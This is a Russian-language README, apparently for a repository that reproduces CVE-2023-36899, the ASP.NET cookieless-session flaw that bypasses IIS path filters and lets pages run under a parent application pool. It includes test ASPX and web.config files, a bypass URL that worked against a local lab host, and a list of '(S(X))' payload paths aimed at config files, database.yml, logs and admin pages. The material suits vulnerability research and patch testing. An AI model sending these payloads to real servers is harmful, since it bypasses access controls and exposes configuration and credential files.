
Среда воспроизведения и инструменты для уязвимости CVE-2023-36899, нацеленные на обход аутентификации сеанса без cookie в ASP.NET.
Среда воспроизведения и инструменты для уязвимости CVE-2023-36899, связанной с обходом аутентификации сеанса без cookie (cookieless) в ASP.NET Framework.
Cookieless DuoDrop: обход аутентификации IIS и повышение привилегий пула приложений в ASP.NET Framework (CVE-2023-36899)
В современной веб-разработке, хотя cookies являются предпочтительным способом передачи идентификатора сеанса, .NET Framework также предлагает альтернативный способ: кодирование идентификатора сеанса непосредственно в URL. Этот приём известен как функция «без cookie» (cookieless) в .NET Framework. Многие разработчики и специалисты по безопасности игнорируют эту возможность, поскольку в реальных приложениях она встречается редко. Однако она стала настоящей находкой для обнаружения клиентских уязвимостей, таких как фиксация сеанса (session fixation), перехват сеанса (session hijacking), HTML-инъекции и межсайтовый скриптинг (XSS). Кроме того, эту функцию можно использовать для обхода межсетевых экранов с правилами на основе путей, которые не настроены на распознавание метода без cookie. Из-за неотъемлемых проблем безопасности .NET Core и последующие версии .NET исключили функцию без cookie. Но нельзя забывать о многочисленных веб-приложениях, которые по-прежнему используют классический .NET Framework.
Ключевые моменты:
Функцию без cookie в .NET Framework можно использовать для доступа к защищённым каталогам или каталогам, которые блокируются URL-фильтрами IIS. Например, рассмотрим следующие сценарии на сайте victim.com:
В обычных условиях доступ к страницам по следующим URL будет заблокирован в IIS:
Однако, используя функцию без cookie, можно получить доступ к этим страницам по следующим шаблонам:
То, как IIS управляет пулами приложений, может привести к повышению привилегий или обходу безопасности. Можно манипулировать функцией без cookie в .NET Framework, чтобы заставить приложение IIS работать с родительским пулом приложений вместо собственного.
Например:
C#-файл с именем AppPoolPrint.aspx доступен во всех указанных выше приложениях и отображает имя текущего пула приложений.
Используя функцию без cookie дважды, мы можем запустить эту страницу с родительским пулом приложений:
Это позволяет даже страницам в /classic/nodotnet/ (где управляемый код не должен выполняться) запускать ASPX-страницы с родительским пулом приложений. Такое поведение может привести к повышению привилегий в IIS.
При установке IIS выберите:
Тестовое содержимое файла target.aspx:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
Тестовое содержимое файла web.config в корневом каталоге:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
Здесь означает, что веб-сайт использует Cookie для хранения некоторой информации о сеансе по умолчанию и т.д.; это также значение по умолчанию.

Успешный доступ через http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx

Возможный список payload:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899